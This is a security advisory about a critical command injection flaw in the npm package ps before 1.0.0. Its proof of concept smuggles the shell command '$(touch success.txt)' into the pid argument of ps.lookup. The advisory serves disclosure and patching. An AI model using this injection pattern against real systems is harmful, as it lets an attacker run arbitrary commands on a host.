GHSA-cfhg-9x44-78h2CriticalCVSS 9.8

ps Enables OS Command Injection

Published
September 17, 2018
Last Modified
September 11, 2023

🔗 CVE IDs covered (1)

📋 Description

Versions of ps before 1.0.0 are vulnerable to command injection.

Proof of concept:

var ps = require('ps');

ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
    if (err) {throw err;}
    if (proc) {
        console.log(proc);  // Process name, something like "node" or "bash"
    } else {
        console.log('No such process');
    }
});

// Result: The file success.txt will exist on the filesystem if the touch command was executed

Recommendation

Update to version 1.0.0 or later.

🎯 Affected products1

  • npm/ps:< 1.0.0

🔗 References (5)